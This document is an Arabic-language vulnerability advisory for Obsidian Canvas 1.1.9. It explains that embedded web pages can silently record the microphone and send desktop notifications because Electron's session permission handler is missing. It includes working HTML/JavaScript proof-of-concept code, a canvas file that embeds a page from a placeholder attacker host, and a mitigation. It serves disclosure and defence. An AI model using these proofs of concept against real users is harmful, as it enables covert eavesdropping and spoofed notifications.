
إثبات مفهوم لاستغلال يوضح تسجيل الميكروفون غير المصرح به وإساءة استخدام إشعارات سطح المكتب عبر صفحات الويب المضمنة في Obsidian Canvas، مع تسليط الضوء على غياب معالجة طلب الإذن من Electron.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
نوع الثغرة:
التحكم غير الصحيح في الوصول
الوصف:
مشكلة تم اكتشافها في Obsidian Canvas 1.1.9 تسمح للمهاجمين عن بُعد بإرسال إشعارات سطح المكتب، وتسجيل صوت المستخدم، وتأثيرات أخرى غير محددة عبر موقع ويب مضمّن في صفحة الرسم البياني (Canvas).
التأثير:
يمكن لمواقع الويب الضارة المضمّنة الوصول إلى واجهات برمجة تطبيقات الويب الحساسة في تطبيق Obsidian دون إذن المستخدم أو علمه. على سبيل المثال، يمكنها تسجيل صوت الميكروفون الخاص بالمستخدم بصمت أو إرسال إشعارات سطح المكتب نيابةً عن تطبيق Obsidian، دون علم المستخدم أو منحه إذنًا صريحًا.
السبب الجذري لهذه المشكلة هو غياب معالج طلب الإذن للجلسة (Session Permission Request handler) في التطبيق.
المنتج المتأثر:
الإصدارات المتأثرة:
خطوات إعادة إنتاج الثغرة:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
"edges":[]
}
إثبات المفهوم للإشعارات (Notifications PoC):
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
التخفيف:
قم بتنفيذ معالج طلب إذن الجلسة (Session Permission Request handler) في Electron للتعامل مع طلبات الأذونات من الصفحات المضمّنة. يجب منح الوصول إلى واجهات برمجة تطبيقات الويب بشكل صريح من قبل المستخدم أو رفضه افتراضيًا.
المراجع: